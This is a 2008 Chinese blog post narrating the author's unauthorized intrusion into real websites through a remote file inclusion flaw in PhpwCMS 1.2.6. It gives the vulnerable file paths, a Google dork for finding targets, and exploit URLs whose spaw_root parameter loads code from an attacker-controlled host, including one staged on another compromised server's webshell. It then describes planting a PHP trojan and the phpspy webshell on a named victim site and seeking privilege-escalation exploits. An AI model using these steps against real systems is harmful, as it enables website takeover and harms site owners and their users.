黑客如何利用文件包含漏洞进行网站入侵

 一、看见漏洞公告

  最近想学习一下文件包含漏洞,在无意中看见了关于文件包含的漏洞公告。大致的意思是这样的,PhpwCMS 1.2.6系统的下列文件存在文件包含漏洞:include/inc_ext/spaw/dialogs/table.php

  include/inc_ext/spaw/dialogs/a.php

  include/inc_ext/spaw/dialogs/colorpicker.php

  include/inc_ext/spaw/dialogs/confirm.php

  include/inc_ext/spaw/dialogs/img.php

  include/inc_ext/spaw/dialogs/img_library.php

  include/inc_ext/spaw/dialogs/td.php

  文件中的$spaw_root的没有过滤的情况下,包含'**class/lang.class.php'。具体的代码公告中没给出来。可以利用下面的url利用此漏洞,http://website1/include/inc_ext/spaw/dialogs/table.php?spaw_root=http://website2/,其中website1是有漏洞的网站,website2是攻击的网站,website2所在的目录下有class/lang.class.php文件。

  二、学习的第一天

  马上行动,我用google搜索inurl:"phpwcms/index.php?id=",搜索到54,800多项结果,基本上都是国外的。看来这次发了,这次国外的wenshell肯定是一大堆了。呵呵……,嘿嘿……随便点击一个网站,是美国的:http://arena-sv.jans-webdesign.com,不知道这个网站有没有漏洞。我用http://arena-sv.jans-webdesign.com/phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root=http://www.baidu.com/检测,当然http://www.baidu.com/class/lang.class.php是不存在的,这时页面显示如图一所示,提示没有找到页面。这表明了这个网站存在文件包含漏洞,象这样的有漏洞的网站随便点击一个就是。

  检测出有文件包含漏洞

  现在开始利用这个漏洞,在我的支持asp网站根目录建一个class的目录,在class里面建lang.class.php文件。但是当我用浏览器浏览http://www.xxxx.xx/class/lang.class.php的时候,提示找不到文件。难道是我的网站所在的服务器没设置好吗?我试着找到了几个webshell,浏览的时候还是出现找不到文件的问题。

  郁闷啊……如果能建一个txt文件代替class/lang.class.php 多好啊。我问了我们工作组的学linux的同学,他们说可以用问号优化。但是偶不会啊,听上去很复杂的,等明天再来做吧,休息,休息。

三、学习的第二天

 

  去搜索的发现有漏洞的网站变得比较少了,大部分的网站都被漏洞补了,还有一部分美国的网站上被挂了一些与反战争有关的图片或者一些国旗。还好的是昨天的哪个网站没有被人家黑掉,还有机会学习。我在无意中得到了jsp的wenshell,试着写了一个php文件,在浏览器浏览的时候出现的是源文件。看来现在现在可以利用这个jsp的webshell来作跳板。

  在webshell里面建一个class的文件夹,然后在class目录里面上传一个lang.class.php空文件,在文件里面写上.在浏览器上浏览http://..../gate/download.jsp?file=/opt/oracle/product/10gbi/j2ee/gate/applications/gate/gate/gate/class/lang.class.php, 显示的就是, 然后提交http://arena-sv.jans-webdesign.com/phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root=http://..../gate/download.jsp?file=%2Fopt%2Foracle%2Fproduct%2F10gbi%2Fj2ee%2Fgate%2Fapplications%2Fgate%2Fgate%2Fgate%2F,%2F是/的意思。

  php环境信息

  编辑lang.class.php的文件,先写了一个phpspy。但是登陆webshell的后,页面转到其他的页面。还是先传一可以上传的文件的马儿吧,传了一个国外的php木马,木马的功能很的大,浏览http://arena-sv.jans-webdesign.com/phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root=http://..../gate/download.jsp?file=%2Fopt%2Foracle%2Fproduct%2F10gbi%2Fj2ee%2Fgate%2Fapplications%2Fgate%2Fgate%2Fgate%2F。

  包含的国外php木马

  但是这个国外的php马还是上传一个经过修改的phpspy吧,用着舒服一点,上传得文件改为了imge.php,现在访问http://arena-sv.jans-webdesign.com/phpwcms/include/inc_ext/spaw/dialogs/imge.php?cuit=6305,登陆后一台webshell就在我们的眼前了。权限也不错,但是由于是linux系统,也不知道怎么去提权,还是再放一下吧!

  phpspy上传成功

  四、学习的第三天

  对linux下的提权一点都不了解,没办法只有寻求帮助了。Jinsdb师兄叫我去一些好的网站找一下exp看看,他还告诉我了上次在我的网站中的php文件浏览的时候是找不到文件的原因:因为我的系统是2003的,所以要在IIS的ISAPI 筛选器中加.php后缀,在xp下访问php文件直接就可以浏览。看来上次我得到的服务器基本上是2003的。

  看来这次的学习也蛮有意义的!发现一点,国外的网站的管理人员比较重视安全。在出现漏洞的第二天,很多网站都把漏洞补了,还有的网站被入侵后能马上发现,并及时清除了webshell。

 

posted @ 2008-03-26 11:40  java程序员-c  阅读(1169)  评论(0编辑  收藏  举报